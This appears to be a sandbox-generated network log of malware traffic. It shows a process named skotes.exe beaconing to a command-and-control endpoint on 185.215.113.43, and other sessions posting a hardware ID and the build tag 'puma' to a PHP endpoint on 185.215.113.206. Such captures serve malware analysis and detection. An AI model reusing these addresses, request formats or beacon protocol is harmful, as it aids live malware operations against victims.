Oct 26, 2024 08:55:34.662697077 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:35.556045055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	50152	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:37.219775915 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:38.144701958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 26, 2024 08:55:38.406907082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	50154	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:39.719821930 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:40.641138077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	50156	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:42.296797037 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:43.210621119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	50157	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:44.735527039 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:45.666539907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	50158	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:45.049407959 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:55:45.950974941 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:55:45.954226971 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"puma------GIEHJDHCBAEHJJJKKFID--
Oct 26, 2024 08:55:46.234638929 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	50168	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:46.643335104 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:55:47.547472000 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:55:47.551748037 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build"puma------CBFCFBFBFBKFIDHJKFCA--
Oct 26, 2024 08:55:47.835827112 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	50170	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:47.291167974 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:48.192691088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	50171	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:49.707323074 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:50.622555971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	50172	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:51.322432995 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	50173	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:52.245098114 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	50175	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:53.776010990 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:54.704137087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	50178	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:56.330507994 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:57.255167007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	50179	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:58.767492056 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:59.692898989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	50180	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:01.323254108 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:02.259485960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	50181	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:03.797791958 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:04.710374117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	50182	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:06.335181952 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:07.250291109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	50183	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:08.787079096 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:09.723282099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	50185	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:11.367265940 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:56:12.267910957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	50186	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:12.082897902 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:56:13.158823013 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:56:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:56:13.161788940 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"puma------FIIIIDGHJEBFBGDHDGII--
Oct 26, 2024 08:56:13.452559948 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:56:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	50187	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:13.796670914 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:56:14.713468075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:56:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	50196	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:56:16.353892088 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
